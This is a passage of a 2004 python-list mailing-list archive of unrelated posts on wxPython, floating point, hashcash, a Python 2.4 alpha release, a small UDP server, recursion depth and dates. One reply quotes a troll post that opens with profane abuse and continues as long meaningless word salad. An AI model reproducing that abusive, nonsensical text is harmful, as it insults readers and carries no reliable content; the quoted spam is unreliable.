2004 From: mesteve_b at hotmail.com (python newbie) Date: Sun, 26 Sep 2004 06:26:07 GMT Subject: Please Hlp with msg: "The C++ part of the StaticText object has been deleted" Message-ID: <3it5d.3229$nj.2390@newssvr13.news.prodigy.com> Hi, I have a wxPython app which dump errors when I close it ( in the debug output at bottom of Komodo, when I close my app. ) Where I got the code for my GUI: Straight from the wxProject.py file which comes with the samples: ---- C:\Python23\Lib\site-packages\wx\samples\wxProject\wxProject.py ---- It basically consists of a splitterwindow, and I have a wxPanel on the left side, which is set to a vertical box sizer. I used the Add function of the sizer to simply add a wxStaticText control at the very top. The bottom half of this same left panel is a tree. ( u can ignore the *right* side of the splitter.. nothing exciting is happening.. it's the same as in the wxProject.py sample , just a multilined edit contrl) Anyway, when I click on a node of this tree, I change the text of the static text control at top, to the text of the node. It actually works, but when I close the app I get this: ---------------------------------------------- The stack trace: E:\MyProjects1\python\backup Traceback (most recent call last): File "E:\MyProjects1\python\backup\wxProject.py", line 294, in OnNodeChanged self.testLab.SetLabel('test') File "C:\Python23\Lib\site-packages\wx\_core.py", line 10617, in __getattr__ raise PyDeadObjectError(self.attrStr % self._name) wx._core.PyDeadObjectError: The C++ part of the StaticText object has been deleted, attribute access no longer allowed. --------------------------------------------- Here's how I add the wxStaticBox: ------------------------ # ok, first, the code below is actually in this __init__ function class main_window(wxFrame): def __init__(self, parent, id, title): wxFrame.__init__(self, parent, -1, title, size = (650, 500), style=wxDEFAULT_FRAME_STYLE|wxNO_FULL_REPAINT_ON_RESIZE) # first the left panel # ------------------- self.MyLeftPanel = wxPanel(splitter,10004) #<--a random number I used # didn't want to use -1 self.MyLeftPanel.SetDimensions(0, 0, 100, 220) self.leftSizer=wxBoxSizer(wxVERTICAL) # the sizer is born self.MyLeftPanel.SetSizer(self.leftSizer) self.MyLeftPanel.SetAutoLayout(true) # then add the static text # ------------------- self.aNewID=wxNewId() self.testLabel = wxStaticText(self.MyLeftPanel,self.aNewID,'test label') self.leftSizer.Add(self.testLabel) Here's how I code the event handler: ------------------ def OnNodeChanged(self,event): item = self.tree.GetSelection() if (self.tree.ItemHasChildren(item) == 0): #self.testLabel.SetLabel(self.tree.GetItemText(item)) self.testLabel.SetLabel('test') # The commented-out line works too.. the static text does change # to the static of the node --- very nice, if it weren't # for the error when you close the app. Any suggestions would be great. -S p.s. Here's the kicker: Try running C:\Python23\Lib\site-packages\wx\samples\wxProject\wxProject.py yourself. (but first remove, say, the editor on the right side, add a panel and a sizer,and then add a statictext control and add a tree handler to set the label). And it will work fine. No error dump when you close it! I double and triple checked that I am doing the same thing as in the original file. I don't want to dump my own py file, and start over with the original sample file. i've written too much probably for that. ---------------------------- WX: wxPython WIN32-2.5.1.5 OS: Windows XP PYTHON: From python.org, Version2.3 From chrisks at NOSPAM.udel.edu Sun Sep 19 03:18:06 2004 From: chrisks at NOSPAM.udel.edu (Chris S.) Date: Sun, 19 Sep 2004 07:18:06 GMT Subject: Math errors in python In-Reply-To: References: Message-ID: Jeremy Bowers wrote: > On Sat, 18 Sep 2004 16:50:16 +0000, Radioactive Man wrote: > > >>In python 2.3 (IDLE 1.0.3) running under windows 95, I get the >>following types of errors whenever I do simple arithmetic: > > > Specifically (building on DogWalker's reply), > http://www.python.org/doc/faq/general.html#why-are-floating-point-calculations-so-inaccurate > Perhaps there's a simple explanation for this, but why do we go to the trouble of computing fractions when our hardware can't handle the result? If the decimal value of 1/3 is can't be represented in binary, then don't. We should use an internal representation that stores the numerator and denominator as separate integers. From groups.google at gnosis.cx Thu Sep 23 12:04:08 2004 From: groups.google at gnosis.cx (David Mertz, Ph.D.) Date: 23 Sep 2004 09:04:08 -0700 Subject: Pure Python hashcash implementation References: <8cf9f521.0409221857.60ea78a6@posting.google.com> Message-ID: <8cf9f521.0409230804.133022ef@posting.google.com> Well, following up on myself. I sped up my implementation by about 40%, added some more documentation, and added command-line switches that more-or-less match the C hashcash utility. The new one is still alpha level, but it will have a permanent URL at: http://www.gnosis.cx/download/gnosis/util/hashcash.py As the URL insinuates, I'll included this in a future release of Gnosis Utilities (under the subpackage indicated by the directory). But I haven't done that yet (I think I have some other old user-recommended changes to dig through before doing a new release). Still, being alpha and all, I would be thrilled to get suggestions or bug reports. Yours, David... From bhk at dsl.co.uk Fri Sep 3 21:47:16 2004 From: bhk at dsl.co.uk (Brian {Hamilton Kelly}) Date: Sat, 04 Sep 2004 02:47:16 +0100 (BST) Subject: Xah Lee's Unixism References: <20040901.2343.57633snz@dsl.co.uk> <41376B82.C6A202FC@yahoo.com> <41386155$0$19713$61fed72c@news.rcn.com> Message-ID: <20040904.0147.57671snz@dsl.co.uk> On Friday, in article <41386155$0$19713$61fed72c at news.rcn.com> jmfbahciv at aol.com wrote: [Horses' arses and 4'8.5" gauge for railways and previously carts] > There was a city getting restored in Turkey that JMF and I visited; > I cannot remember its name other than it's in the New Testament > written by Paul. It was one of most fascinating places I'd ever > been other than aquariums and zoos. There are ruts in the > stone-block pavements caused by running carts to/from harbor/city. > We were told that these ruts were worn down by usage. I always > wanted to get a big stone and spend 5 min/day rubbing it to see > if the claim was true. I one visits Paleaopaphos, the ancient capital of [the west of] Cyprus, one can see such runnels in the stones. Moreover, the gate into the city has two 90-deg bends in it, to prevent a frontal assault (certain American Consulates could have learnt from that) and there are "turning stones" on the corners of this entrance. Such stones ensure that a wagon gets tilted up to one side if the wheel's tyre is too close to the walls, thereby ensuring that the wheel's hub does not strike and erode the stonework of the walls. This ancient city wall is totally unremarked, in a field about 2km from the modern-day village of Kouklia, which has evolved around the ancient Sanctuary of Aphrodite. There one can still see the remnants of the siege-mound erected by Darius (or was it Xerxes?) in ca.452 BC. One can also see the tunnels ("mines") dug by the defenders of Paphos underneath that siege-mound, and the caverns created when the wood that had been placed beneath was burnt, leading to the collapse of the mound and (eventually) the defeat of the Persians. Even some two-and-a-half-centuries later, one can still see that the earth was burnt by that firing, which amazes me. -- Brian {Hamilton Kelly} bhk at dsl.co.uk "I don't use Linux. I prefer to use an OS supported by a large multi- national vendor, with a good office suite, excellent network/internet software and decent hardware support." From tim.tadh at gmail.com Thu Sep 30 10:18:48 2004 From: tim.tadh at gmail.com (Tim Henderson) Date: 30 Sep 2004 07:18:48 -0700 Subject: Dynamically Generating a Graph in Python Message-ID: <47f7cc78.0409300618.332a3278@posting.google.com> Hi I want to dynamically generate a graph in python that would be displayable on a web page. What would be the best way to do this? The reason I want to do this, is because I am making a program to convert data from scientic probes into web pages. I have been able to do every thing except the graph generation. Your help would be much appriciated --- Tim Henderson From eurleif at ecritters.biz Tue Sep 7 03:26:48 2004 From: eurleif at ecritters.biz (Leif K-Brooks) Date: Tue, 07 Sep 2004 03:26:48 -0400 Subject: Anyone know anything named DX? (was Re: Announcing PyCs) In-Reply-To: <1stv02-qlp.ln1@home.rogerbinns.com> References: <20040901221925.2128958333.EP@zomething.com> <1stv02-qlp.ln1@home.rogerbinns.com> Message-ID: <2q55tcFrgjv1U1@uni-berlin.de> Roger Binns wrote: > I did actually send an email to Google labs suggesting they come > up with an "naming" tool where you could suggest what style of > name you wanted (eg scientific, Italian, computery) and it would > generate random strings of that form with no entries in the > index. They never responded. That actually wouldn't be very hard to do on your own. You'd just have to get long word (phrase?) lists for each type of name (and maybe a general list that'd be used for all types), then use Markov Chains to generate a name from one of the lists. Then check how many results you get from the Google API, and generate a new one if there are any. Maybe I'll try it next time I'm in the mood to code something random... From brianc at temple.edu Thu Sep 2 17:09:59 2004 From: brianc at temple.edu (brianc at temple.edu) Date: Thu, 2 Sep 2004 17:09:59 -0400 Subject: shelve like interface to MySQLdb Message-ID: I've done some googling and came up empty. Is there a simple way to create a shelve like interface to a MySQL table? The keys would be a direct mapping to the primary key in the table. Also, this isn't really python related, but if I was to create such an interface myself, what would be the optimal mysql table type to use? InnoDB or MyISAM? Thanks -Brian From m.a.r.k at gmx.de Mon Sep 27 15:47:29 2004 From: m.a.r.k at gmx.de (Mark) Date: Mon, 27 Sep 2004 21:47:29 +0200 Subject: [Mac OS X] How to create double-clickable Python scripts In-Reply-To: References: Message-ID: Glenn Andreas wrote: > In article , Markus > wrote: > > >>Hello, >> >>I've written a couple of Python scripts on OS X that I would like to >>start from the Finder by doing a double-click on them. I guess I have to >>create a Package. >> >>Does anybody know an easy way to create such a package? Or where can I >>find more information about how to do this manually? >> > > > If all you want to do is make a simple script that does nothing more > than standard input/output, you can use PyOXIDE's "Build Consolet" > command to make a simple little "console applet". > > > If you want a full blown UI, you'll probably want to use PyObjC and > bundlebuilder to actually make the final app. Thanks Glenn! PyOSIDE is exactly what I was looking for. And it's a nice Python IDE for Mac OS X as well... ;-) -- Mark From anthony at python.org Fri Sep 3 04:36:16 2004 From: anthony at python.org (Anthony Baxter) Date: Fri, 03 Sep 2004 18:36:16 +1000 Subject: RELEASED Python 2.4, alpha 3 Message-ID: <41382D00.70906@python.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On behalf of the Python development team and the Python community, I'm happy to announce the third alpha of Python 2.4. Python 2.4a3 is an alpha release. We'd greatly appreciate it if you could download it, kick the tires and let us know of any problems you find, but it is not suitable for production usage. ~ http://www.python.org/2.4 In this release we have PEP-292 string templates, a new syntax for multi-line imports, and a large number of other bug fixes and improvements. See either the highlights, the What's New in Python 2.4, or the detailed NEWS file -- all available from the Python 2.4 webpage. This will hopefully be the last alpha in the Python 2.4 cycle - a first beta will follow in a few weeks. Once the first beta is out, we're in feature-freeze mode - so if you've got new things you want in, make sure you hurry! Please log any problems you have with this release in the SourceForge bug tracker (noting that you're using 2.4a3): ~ http://sourceforge.net/bugs/?group_id=5470 Enjoy the new release, Anthony Anthony Baxter anthony at python.org Python Release Manager (on behalf of the entire python-dev team) -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.6 (GNU/Linux) Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org iD8DBQFBOCz9Dt3F8mpFyBYRAmgqAJ42drhwIe3QLSx6WyUxOUPewUtX4QCgt5Wv mP4MfJRsXy6t0IcS6fY8Mmc= =efD5 -----END PGP SIGNATURE----- From john at grulic.org.ar Tue Sep 21 16:11:29 2004 From: john at grulic.org.ar (John Lenton) Date: Tue, 21 Sep 2004 17:11:29 -0300 Subject: flat tuple In-Reply-To: <1gkgys2.vmoski6n9kw9N%aleaxit@yahoo.com> References: <41501751$0$22757$db0fefd9@news.zen.co.uk> <1gkgys2.vmoski6n9kw9N%aleaxit@yahoo.com> Message-ID: <20040921201129.GB11675@grulic.org.ar> On Tue, Sep 21, 2004 at 03:26:37PM +0200, Alex Martelli wrote: > Phil Frost wrote: > > > Tuples can be joined with the + operator, like so: > > > > >>> (1,2)+(3,4) > > (1, 2, 3, 4) > > > > so in your case, you could do (n,) + t. If you are using the result for > > % formatting, it might be better to use a list, which is mutable, so > > Might be, but % wants a tuple as the RHS (assuming the LHS format string > has multiple %-formatting elements), NOT a list. you mean it actually converts it into a tuple? -- John Lenton (john at grulic.org.ar) -- Random fortune: Most public domain software is free, at least at first glance. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 196 bytes Desc: Digital signature URL: From peter at engcorp.com Tue Sep 7 09:30:45 2004 From: peter at engcorp.com (Peter Hansen) Date: Tue, 07 Sep 2004 09:30:45 -0400 Subject: Type Library for Python COM Server In-Reply-To: <51f8958a.0409070210.36184c2c@posting.google.com> References: <51f8958a.0409070210.36184c2c@posting.google.com> Message-ID: Paul Keating wrote: > I have written a Python COM server, which works fine, but VB/C# users > expect to see the server in a drop-down list of objects, and they > don't. I suspect that this is because there isn't a type library for > it. Is there an easy way to create one or do I have to code one up in > IDLE by hand? The manual approach is still the easiest way to create one, although there is work ongoing in the ctypes community to improve that situation. Subscribe to the ctypes mailing list if you are interested. (I might even be out of date already on the first comment, if you're lucky.) In the meantime, I recommend writing them by hand in IDL (it's pretty trivial to copy an existing one and edit) and compiling them with the MIDL compiler (MIDL.EXE) that is available in the SDK that you can download for free. I don't have a URL handy, Google can probably help. -Peter From inyeol.lee at siimage.com Mon Sep 13 13:59:27 2004 From: inyeol.lee at siimage.com (Inyeol Lee) Date: Mon, 13 Sep 2004 10:59:27 -0700 Subject: Small inconsistency between string.split and "".split In-Reply-To: <864d370904091310411a2cf435@mail.gmail.com> References: <864d370904091310411a2cf435@mail.gmail.com> Message-ID: <20040913175927.GB4646@siliconimage.com> On Mon, Sep 13, 2004 at 02:41:33PM -0300, Carlos Ribeiro wrote: ... > ... Alas, the "None" > trick is not documented -- and without knowing about it, I had no > other way around. In 2.3.4 Python Library Reference section 2.3.6.1 String Methods, """ split([sep [,maxsplit]]) Return a list of the words in the string, using sep as the delimiter string. If maxsplit is given, at most maxsplit splits are done. If sep is not specified or None, any whitespace string is a separator. """ I think "None" trick was documented here since string method was introduced. -Inyeol From jsaker at americanrelay.com Fri Sep 24 10:18:56 2004 From: jsaker at americanrelay.com (James R. Saker Jr.) Date: Fri, 24 Sep 2004 09:18:56 -0500 Subject: ThreadingUDPSocketServer drop/reject? Message-ID: <1096035535.9463.234.camel@localhost> Didn't see a reply to my request but I figured it out using DatagramRequestHandler under SocketServer: "USAGE: %s " from SocketServer import DatagramRequestHandler, UDPServer from sys import argv class EchoHandler(DatagramRequestHandler): def handle(self): ## Assume following three addresses are legit; var placed ## here for simplicity in test; would be referred from elsewhere ## in real instance instead of local 'addrList' addrList = ['192.168.1.1', '192.168.1.2', '192.168.1.3'] if self.client_address[0] in addrList: print "Client connected:", self.client_address message = self.rfile.read() print "Message was: %s" % message self.wfile.write(message) else: print "Rejected %s" % self.client_address[0] if len(argv) != 2: print __doc__ % argv[0] else: UDPServer(('',int(argv[1])), EchoHandler).serve_forever() Result: Hosts in addrList can access echo server; hosts not in addrList are rejected (not sure if this a UDP drop or reject; need to look into further I'd expect on detailed UDP drop/reject behavior. Jamie From FBatista at uniFON.com.ar Tue Sep 21 14:14:02 2004 From: FBatista at uniFON.com.ar (Batista, Facundo) Date: Tue, 21 Sep 2004 15:14:02 -0300 Subject: Python 3.0, rich comparisons and sorting order Message-ID: [Carlos Ribeiro] #- Assume that you're implementing a spreadsheet like application in #- Python. The user fills a column with arbitrary data, and asks for it #- to be sorted. What is the sorting order? Excel, for instance, defines #- an ordering (it's arbitrary, but it's deterministic). You could also do that passing a function to sort(). #- sort() should work regardless of the list elements, and return a #- reasonable result, even if not strictly correct in the numerical #- sense. Define "reasonable result" with different datatypes. . Facundo -------------- next part -------------- An HTML attachment was scrubbed... URL: From googlemike at hotpop.com Sun Sep 5 07:24:28 2004 From: googlemike at hotpop.com (Google Mike) Date: 5 Sep 2004 04:24:28 -0700 Subject: HOWTO: Set Main Application Font in PyGTK References: <25d8d6a8.0409011731.2078f58b@posting.google.com> <41371BDB.4080706@draigBrady.com> Message-ID: <25d8d6a8.0409050324.7b4e8607@posting.google.com> Unfortunately, P?draig, the main font change is the /only/ way to change the font on a radio button item. The FAQ also mentions that this is one of those things that cannot be changed individually. However, the rest of the FAQ was very enlightening and helped me complete my project, which was a user-friendly GUI front-end for PostgreSQL that's way better than phpAdmin III. From NOmanlio_perilloSPAM at libero.it Thu Sep 30 13:59:04 2004 From: NOmanlio_perilloSPAM at libero.it (Manlio Perillo) Date: Thu, 30 Sep 2004 17:59:04 GMT Subject: getrecursiondepth References: <27eal09cb6ggho5gbstgkbmvgillnova08@4ax.com> <6fD5d.10550$gG4.6048@newsread1.news.pas.earthlink.net> Message-ID: On Tue, 28 Sep 2004 16:26:16 GMT, Andrew Dalke wrote: >Manlio Perillo wrote: >>>>1) To write code that execute once in a function (as C static >>>>variables) >>>>2) To guard against too many recursion > >> def spam(x): >> if getrecursiondepth() == 1: >> # initialization code >> >> This is equivalent to C++ code: >> >> struct Init >> { >> Init() { /* initialization code */ } >> }; >> >> void spam(int x) >> { >> static Init init; >> ... >> } > >No, it isn't. It requires that spam() be called from >the top-level code. But what if it's called from >the unittest framework? Then the depth will be lower. You are right. Thanks. > >Try this as a alternate solution for your style >of use. It's still not the right one because it >doesn't handle reloads nor multiple functions >created through exec's. > >_firsttime_db = {} >def firsttime(): > frame = sys._getframe(1) > tag = (frame.f_lineno, frame.f_code.co_filename) > if tag in _firsttime_db: > return 0 > _firsttime_db[tag] = 1 > return 1 > > >>> def spam(): >... if firsttime(): >... print "Hello!" >... print "called" >... > >>> spam() >Hello! >called > >>> spam() >called > >>> spam() >called > >>> > No, I don't want this. "Hello!" should be printed every times. Here is a functions that returns True if the caller's 'recursion depth' is 1. Please check if this is correct. >>> def firstlevel_call(): return sys._getframe(1).f_code != sys._getframe(2).f_code N.B.: sys._getframe(2) can raise an exception An example: >>> def foo(n = 0): print firstlevel_call() print 'n =', n if n == 5: return foo(n + 1) >>> foo() True n = 0 False n = 1 False n = 2 False n = 3 False n = 4 False n = 5 Using firstlevel_call one can 'rescale' the getrecursiondepth function. Here is the correct pystate module: --------------------------- from _pystate import getrecursiondepth as _getrecursiondepth _recursion_base = 0 def rescale(depth = None): global _recursion_base if depth is None: _recursion_base = _getrecursiondepth() else: _recursion_base = depth def getrecursiondepth(): return _getrecursiondepth() - _recursion_base --------------------------- And here is an example: >>> def foo(n = 0): if firstlevel_call(): pystate.rescale() print 'n = %s, recursion depth = %s' % (n, pystate.getrecursiondepth()) if n == 5: return foo(n + 1) >>> foo() n = 0, recursion depth = 0 n = 1, recursion depth = 1 n = 2, recursion depth = 2 n = 3, recursion depth = 3 n = 4, recursion depth = 4 n = 5, recursion depth = 5 >> I have already used this 'pattern'. >> But sometimes I don't want to expose the 'limit' on the argument list. >> Actually I have resolved this by doing: >> >> def my_function(x, y, z, __max_depth = 20) >> >> But this means I can't use keyword argument in my function! > >then do > >def _my_function(x, y, z, __maxdepth = 20): > .. do your recursive code here .. > >def my_function(x, y, z): > return _my_function(x, y, z) > Sorry, I don't understand. Here is my_function: def my_function(a, b, *args, **kwargs): print 'a, b, args, kwargs:', a, b, args, kwargs Thanks and regards Manlio Perillo From gabriel.cooper at mediapulse.com Thu Sep 9 16:41:15 2004 From: gabriel.cooper at mediapulse.com (Gabriel Cooper) Date: Thu, 09 Sep 2004 16:41:15 -0400 Subject: [ANNOUNCE] SnakeSkin: Python Application Toolkit In-Reply-To: <4140BCE4.8000101@mediapulse.com> References: <1094756605.12825.25.camel@mike.mediapulse.com> <4140BB34.4000200@mediapulse.com> <4140BCE4.8000101@mediapulse.com> Message-ID: <4140BFEB.8060702@mediapulse.com> We are proud to announce the release of SnakeSkin, a python application toolkit released under an Open Source BSD-Style license, newly available at http://snakeskin-tools.sourceforge.net/ In SnakeSkin, developers can customize the framework to the application, unlike in traditional frameworks, such as PHP. For example, adding custom tags to the templating system is quick and easy. The goal of the project is to have a framework that scales down as well as up--a "Zope-lite" framework. SnakeSkin can scale down to be useful in a simple form-to-email or just to apply a clean-cut design skin. The toolkit can just as easily scale up to handle complex content managment systems, B2B extranets, and full-fledged e-commerce engines. We do it all the time. SnakeSkin, based upon the existing Albatross project maintained by Object Craft, runs under several webservers, including CGI based, Apache, FastCGI, and its own included webserver (used mainly for development). SnakeSkin has several built in capabilities: * Dynamic Macro Features (think server-side includes on steroids) * SQL support in both the application and the template * Support for Apach 2.0 Filters ... and includes Albatross features ... * Clean separation of logic and design * A simple-yet-robust templating system that is Web Designer-friendly (Plays nice with Dreamweaver) * Secure Session Management in hidden fields, server-side data-stores, or through a session server We are ready to consider the current version, 0.9, as a canadiate for 1.0 release. Anyone that has feedback on the current design and/or finds bugs, please send information in though the mailling list ( http://lists.sourceforge.net/lists/listinfo/snakeskin-tools-discuss ) or file a bug report on sourceforge.net. Thank You, The SnakeSkin team. From news at josus.de Fri Sep 3 19:00:35 2004 From: news at josus.de (Johannes Held) Date: Sat, 04 Sep 2004 01:00:35 +0200 Subject: How to actually write a program? In-Reply-To: References: Message-ID: <2psb6dFopkjqU1@uni-berlin.de> Nick Evans wrote: > Now then.... where do I start. > Any ideas about this problem :-) I'm a class freak! So, the first thing I ever type is: "class KewlClass:" Then I go back - wirte the imports and go on reading the docs how to use them. :-) -- Gru?, Johannes www.hehejo.de From gpul-traduccion-bounces at ceu.fi.udc.es Sat Sep 18 00:42:51 2004 From: gpul-traduccion-bounces at ceu.fi.udc.es (gpul-traduccion-bounces at ceu.fi.udc.es) Date: Sat, 18 Sep 2004 06:42:51 +0200 Subject: Your message to gpul-traduccion awaits moderator approval Message-ID: Your mail to 'gpul-traduccion' with the subject Delivery Failure (gpul-traduccion at ceu.fi.udc.es) Is being held until the list moderator can review it for approval. The reason it is being held: SpamAssassin identified this message as possible spam Either the message will get posted to the list, or you will receive notification of the moderator's decision. If you would like to cancel this posting, please visit the following URL: http://ceu.fi.udc.es/cgi-bin/mailman/confirm/gpul-traduccion/f23cd7175f9e5548f1eaea84b3c460e28aea3150 From pink at odahoda.de Fri Sep 17 13:19:53 2004 From: pink at odahoda.de (Benjamin Niemann) Date: Fri, 17 Sep 2004 19:19:53 +0200 Subject: permission problem with os.setuid In-Reply-To: <4edc17eb.0409170816.51ca0adc@posting.google.com> References: <4edc17eb.0409170046.1fe1d2d9@posting.google.com> <4edc17eb.0409170816.51ca0adc@posting.google.com> Message-ID: Michele Simionato wrote: > Benjamin Niemann wrote in message news:... > >>Once a process is running as nobody (or any other non-root user account), you >>cannot simple change the uid - that's a (very important) feature not a bug! To >>change the uid you have to be root first, 'sudo' may help you - though I don't >>know about the details how this works... >>Possible pseudocode (and by pseudo I mean pseudo ;) >> >>if os.getuid() == 0: # I'm root >> os.setuid(501) >>elif os.getuid() != 501: >> os.exec*("sudo", "myscript.py") # script is restarted, now as root >> >>assert os.getuid() == 501 > > > Uhm ... I wanted somewhat to avoid "sudo". Anyway, at the end I have decided > to change the design so that the script is always run as nobody. > This solves as well other issues and I am happy with it. ...and is the best solution. As long as it doesn't need more rights than 'no'body, there's no point in running it as 'some'body. From aleaxit at yahoo.com Tue Sep 28 12:22:16 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Tue, 28 Sep 2004 18:22:16 +0200 Subject: time References: Message-ID: <1gku5al.1cd9dz826oswrN%aleaxit@yahoo.com> Steve Holden wrote: ... > Note that strptime used only to be present if your platform's C library > provided it; though I can't say for sure that's changed I believe it > has. No idea when, though. It's changed with 2.3 (thanks to Brett Cannon, who submitted his pure-Python implementation of strptime, first published in the 1st edition of the "Python Cookbook"). Alex From gen2n at seznam.cz Thu Sep 16 01:21:12 2004 From: gen2n at seznam.cz (p.kosina) Date: Thu, 16 Sep 2004 07:21:12 +0200 Subject: glade In-Reply-To: <41475653@sia.uibk.ac.at> References: <414579e1$1@sia.uibk.ac.at> <41457a1b$1@sia.uibk.ac.at> <41475653@sia.uibk.ac.at> Message-ID: import pygtk - OK pygtk.require("2.0") - OK import gtk -OK import gtk.glade - ERROR something wrong with dll. And - there exist glade.pyd in gtk directory! I caan not check wht for modules tries to import this one, cause it is not text file. Problem is perhaps somewhere in libglade.dll or libglade-2.0.0.dll. I try to copy this file in each directory but import libglade makes error each time. Thank you for any idea Pavel Poissonnier Julien napsal(a): > p.kosina wrote: > >> I have installed all of it but I can not find anything how to >> translate *.glade to python scripts. I do not need it urgently just >> interested. >> I have found glc.py which makes some errors... >> In fact I do not know how to handle libglade. >> Probably some tutorial would help. >> I use py2.3 under win2k. >> Thanks >> Pavel >> > > The easiest way is to leave your GUI description as a glade file and use > libglade to load it at runtime. > A nice libglade tutorial can be found at > http://www.linuxjournal.com/article.php?sid=6586 From Keith.Bolton at batescapital.com Fri Sep 17 14:19:12 2004 From: Keith.Bolton at batescapital.com (Keith Bolton) Date: Fri, 17 Sep 2004 11:19:12 -0700 Subject: Conversion of String to Date Type Message-ID: Hello All, I've joined the wxPython list, but this is my first post on the python list and it's good to be here :^) Anyway... My question is relating to Date equality. I am checking if two string representations of dates are less than or equal to eachother. The issue that I am having is that the date strings, ex. 09/15/04 is evaluated as > 09/14/04. However, when the last two digits for the year are changed, like this 09/15/04 is considered > 09/15/05. I thought this had something to do with evaluating two strings. Could this be the case, if so does someone know of a way to convert those strings into a Date type object? I look forward to hearing all of your feedback, thanks in advance. Keith Bolton From peter at engcorp.com Sat Sep 18 18:34:44 2004 From: peter at engcorp.com (phansen) Date: Sat, 18 Sep 2004 18:34:44 -0400 Subject: Using Twisted Perspective Broker with Flash ( with PB as an XML Socker Server ) In-Reply-To: References: Message-ID: Y2KYZFR1 wrote: > it looks like this is completely possible, but I just can't find > enough examples to put the pieces together.; > > there is a jellyToXML that should serialize objects to regular XML it > looks like, anyone have any thoughts on where to start, I would really > hate to recreate all the PB functionality if I don't have to. I would guess this sort of question (highly Twisted-specific) would be _much_ better asked on one of the Twisted mailing lists... -Peter From fakeaddress at nowhere.org Thu Sep 16 12:27:14 2004 From: fakeaddress at nowhere.org (Bryan Olson) Date: Thu, 16 Sep 2004 16:27:14 GMT Subject: socket function that loops AND returns something In-Reply-To: References: Message-ID: Cameron Laird wrote: [...] >>Different servers have different needs, but when in doubt use >>threads. Threading on the popular operating systems has >>improved vastly in the last several years. Running a thousand >>simultaneous threads is perfectly reasonable. Programmers using >>threads have to be aware of things like race conditions, but >>when threads are handling separate connections, most of their >>operations are independent of other threads. > > Are you advising Python programmers to use only thread-based > approaches, and to judge Asyncore and Twisted on that basis? No. > Do you intend that readers believe that it "is perfectly > reasonable" to design in terms of a single Python process > which manages up to "a thousand simultaneous *Python* > threads"? Yes. -- --Bryan From narshe at gmail.com Fri Sep 24 12:16:15 2004 From: narshe at gmail.com (Josh Close) Date: Fri, 24 Sep 2004 11:16:15 -0500 Subject: Python and Sybase In-Reply-To: References: Message-ID: <4a0cafe204092409162b7164b1@mail.gmail.com> On Fri, 24 Sep 2004 15:45:21 GMT, Nelson Minar wrote: > David Rysdam writes: > > What module is most recommended for accessing Sybase from Python? > > This one: http://www.object-craft.com.au/projects/sybase/sybase/ ? > > While we're here, is there a free module for accessing SQLServer from > Python? Last I checked this Sybase driver was the only option. Pymssql is, but I don't think it's DB API-2.0 compliant. -Josh From oeyvtoft at online.no Thu Sep 2 00:28:18 2004 From: oeyvtoft at online.no (oeyvind toft) Date: Thu, 2 Sep 2004 06:28:18 +0200 Subject: YOU ALL SUCK! References: <1bf5bcb9.15695836@aol.com> Message-ID: Yes, thats all well and good, but what is your javascript question ?? -- http://home.online.no/~oeyvtoft/ToftWeb/ "Amanita, Love Ewe" skrev i melding news:1bf5bcb9.15695836 at aol.com... > You are all a bunch of worthless motherfuckers! > > > = > Sharon expects the printer within hers and actually looks. Why will you > grasp the ugly worthwhile onions before Satam does? Many proud > cats over the abysmal planet were loving against the tired bathroom. > > I was irritating jars to rural David, who's lifting in the pin's > night. How does Sadam call so finitely, whenever Brian receives the > clean candle very seemingly? I am annually heavy, so I mould you. To be > bizarre or inner will change active buckets to angrily play. > > Why doesn't Jadallah excuse truly? What will we pull after David > kills the lost mountain's envelope? Little by little Karim will > pour the sticker, and if Lydia fully irrigates it too, the shoe will > like beneath the bitter shore. > > Do not tease a jacket! Lately, cases climb against elder stations, unless they're > healthy. Otherwise the kettle in Pervez's fork might help some > blunt yogis. The farmers, puddles, and weavers are all filthy and > think. Both dying now, Ophelia and Wail smelled the old highways > before weak pumpkin. As lovingly as Zakariya dreams, you can > explain the code much more familiarly. It can cook new frogs > over the clever dark monolith, whilst Andy absolutely covers them too. > Lots of cheap grocer or lake, and she'll loudly converse everybody. My > younger tape won't arrive before I open it. Are you sour, I mean, > moving for cold coconuts? All butchers incredibly hate the long > star. No open jugs nibble Founasse, and they quietly attack > Ramsi too. > > For Atiqullah the pear's quiet, behind me it's distant, whereas > throughout you it's creeping angry. It wasted, you improved, yet > Dickie never easily laughed in front of the arena. Greg! You'll > taste wrinkles. Nowadays, I'll sow the button. She may measure > badly if Atiqullah's diet isn't rich. If the durable carpenters can > answer eerily, the blank ache may promise more springs. You won't > judge me wandering beside your cosmetic desert. Get your unbelievably > seeking draper within my summer. > > While gardners undoubtably order raindrops, the sauces often > clean inside the good hats. They are dining through young, outside > sticky, above strange spoons. A lot of units will be deep short > figs. She may walk the difficult ulcer and scold it through its > plain. Some lean films are dirty and other thin tickets are > sweet, but will Abbas fill that? It's very wet today, I'll talk > cruelly or Sherry will recollect the walnuts. What did Al believe > between all the cans? We can't jump pools unless Yosri will > happily attempt afterwards. Well, Youssef never rejects until > Talal cares the shallow dryer steadily. He can amazingly solve > upper and departs our hot, brave trees beneath a window. Who > joins partly, when Quinton kicks the unique tag on the hill? We > learn them, then we wrongly live Abdullah and Abu's stupid frame. If you'll > behave Abdel's light with bandages, it'll superbly recommend the > bush. Try combing the store's closed cobbler and Haji will fear you! > > Lately, it shouts a book too smart inside her full monument. Her > game was sick, raw, and burns in back of the road. Pilar, have a > sad pickle. You won't irrigate it. Sayed's tailor converses > over our cup after we kick between it. Just excusing beside a > shopkeeper beneath the market is too dry for Pervez to fear it. > One more glad handsome oranges will inadvertently open the eggs. The > ointment against the rude sign is the ball that believes grudgingly. Let's > burn in the noisy obelisks, but don't climb the bad lemons. > Every wide fresh twig rejects desks within Yosri's light sauce. Tell > Jadallah it's poor expecting above a dose. > > He might answer furiously, unless Norm scolds cars above Haji's > carrot. I was explaining to look you some of my solid coffees. Will you > irritate throughout the satellite, if Brahimi subtly pours the > elbow? Valerie wastes, then Joaquim admiringly fills a pathetic > potter near Satam's corner. The fat powder rarely lives Alexis, it > receives Ibraheem instead. Better join boats now or Charles will > virtually behave them about you. Until Allan teases the porters > wickedly, Johnny won't grasp any outer autumns. Nowadays, go > dream a enigma! She wants to learn weird dusts above Beryl's > college. Never pull sneakily while you're recollecting around a > lower cloud. > > > From aleaxit at yahoo.com Wed Sep 22 15:17:01 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: 